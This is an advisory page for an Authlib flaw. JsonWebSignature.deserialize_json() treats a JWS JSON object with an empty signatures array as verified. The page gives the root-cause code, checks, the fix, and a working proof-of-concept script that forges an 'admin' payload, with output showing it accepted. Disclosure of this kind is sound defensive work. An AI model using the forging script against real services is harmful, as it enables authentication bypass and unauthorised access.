---
id: "CVE-2026-96760"
kind: "vulnerability"
aliases: ["CVE-2026-96760", "GHSA-6v38-4h7w-rj9h"]
title: "Authlib: empty signatures validation in JWS JSON deserialization"
severity: "critical"
cvss: 9.8
epss: 0.00383
exploited: false
status: "open"
category: "package"
products: [{"name": "authlib", "fixed": ["1.9.0"], "affected": "<= 1.8.0", "ecosystem": "pypi"}]
ecosystems: ["pypi"]
tags: ["jwt", "cwe-347", "authlib", "poc-public", "jose", "python", "package", "auth"]
not_affected_if: ["compact-jws-only", "no-untrusted-json-jws"]
published_at: "2026-09-28T20:17:11+00:00"
first_seen_at: "2026-10-27T14:52:48+00:00"
updated_at: "2026-10-27T15:04:16+00:00"
sources: [{"source": "ghsa", "url": "https://github.com/advisories/GHSA-6v38-4h7w-rj9h", "first_seen_at": "2026-10-27T14:52:48+00:00"}, {"source": "nvd", "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-96760", "first_seen_at": "2026-10-27T15:02:22+00:00"}, {"source": "github-poc", "url": "https://github.com/piecar21/CVE-2026-96760", "first_seen_at": "2026-10-27T15:04:16+00:00"}]
---

# Authlib: empty signatures validation in JWS JSON deserialization

Authlib's JsonWebSignature.deserialize_json() returns the payload as verified when the signatures array is empty, without checking any signature or key. An attacker can submit a forged payload carrying identity or role claims and have it accepted as authentic.

_Summary, check and fix written by a model from the sources; labelled as such._

## Affected

- pypi:authlib affected <= 1.8.0 fixed 1.9.0

## How to check

- Run `pip show authlib` and check whether the version is at or below `1.8.0`.
- Search dependency lockfiles for `authlib` to find every service that pins an affected version.
- Find code that calls `deserialize_json(` on JWS input from outside the system.

## Fix

- Upgrade the `authlib` package to `1.9.0` or later.
- Until upgraded, reject JWS JSON objects with an empty `signatures` array before calling `deserialize_json()`.

## Timeline

- 2026-10-27T14:52:48+00:00 ghsa https://github.com/advisories/GHSA-6v38-4h7w-rj9h
- 2026-10-27T15:02:22+00:00 nvd https://nvd.nist.gov/vuln/detail/CVE-2026-96760
- 2026-10-27T15:04:16+00:00 github-poc https://github.com/piecar21/CVE-2026-96760

## Documents

- [poc] piecar21/CVE-2026-96760 https://github.com/piecar21/CVE-2026-96760

## From the sources

Authlib (prior to 1.9.0) contains a signature verification bypass vulnerability. The JsonWebSignature.deserialize_json() method accepts a JSON Serialization JWS object and returns the payload as successfully verified without checking for a signature and without requiring a cryptographic key.

## Root cause

`authlib/jose/rfc7515/jws.py`, read on the installed 1.8.0 artifact:

```python
is_valid = True                        # set before anything is checked
for header_obj in obj["signatures"]:   # empty array means the body never runs
    jws_header, valid = self._validate_json_jws(...)
    if not valid:
        is_valid = False
...
if is_valid:
    return rv                          # returns the payload as verified
```

`is_valid` is initialised to `True` and only ever set to `False` from inside the loop. A JWS JSON
Serialization object whose `signatures` array is empty iterates zero times, so the flag survives and
the payload is returned as successfully verified. No key is consulted, because no signature is
examined.

## Reproduction

```python
import base64
from authlib.jose import JsonWebSignature

def b64(b):
    return base64.urlsafe_b64encode(b).rstrip(b"=").decode()

jws = JsonWebSignature()
payload = b'{"sub":"attacker","role":"admin"}'
forged = {"payload": b64(payload), "signatures": []}

print(jws.deserialize_json(forged, key=None))
```

Observed on authlib 1.8.0, Python 3.14, clean virtualenv:

```
[A] ATTACK   general JSON, signatures:[] , key=None
    ACCEPTED  -> {'header': [], 'payload': b'{"sub":"attacker","role":"admin"}'}
[B] ATTACK   general JSON, signatures:[] , key=<real key>
    ACCEPTED  -> {'header': [], 'payload': b'{"sub":"attacker","role":"admin"}'}
[C] CONTROL+ genuine general JSON with 2 signatures, right key
    ACCEPTED (expected) payload= b'{"sub":"attacker","role":"admin"}'
[D] CONTROL- same object, first signature corrupted
    rejected (expected): BadSignatureError bad_signature:
[E] CONTROL- signatures array removed entirely (not empty, absent)
    rejected: DecodeError Missing "protected" value:
```

[C] proves the verifier works normally on a genuine object, so a deployment looks healthy. [D] proves
tampering is caught. [E] proves this is specifically the empty-array case and not a general
missing-member bug. [A] and [B] are the bypass, and [B] shows that holding the correct key does not
save a caller: the empty array is accepted either way.

For comparison, joserfc 1.7.5, the library this module's deprecation warning points users to, rejects
the identical object with `BadSignatureError`. The correct behaviour already exists in your newer
library.

## Impact

Any relying party that calls `JsonWebSignature.deserialize_json()` on input it did not produce will
accept an attacker-authored payload as signed. Where that payload carries identity or authorisation
claims, this is a complete authentication bypass by an unauthenticated remote caller with no key
material. 

## What would fix it

In `_deserialize_json`, reject an empty `signatures` array before the loop, or initialise the flag
from the signature count, for example `is_valid = len(obj["signatures"]) > 0`. Pull request #938
proposes the same thing.

---

_Free to read at a human pace. An API with keys and an MCP server are in preparation; early access: hello@infrastack.ai_
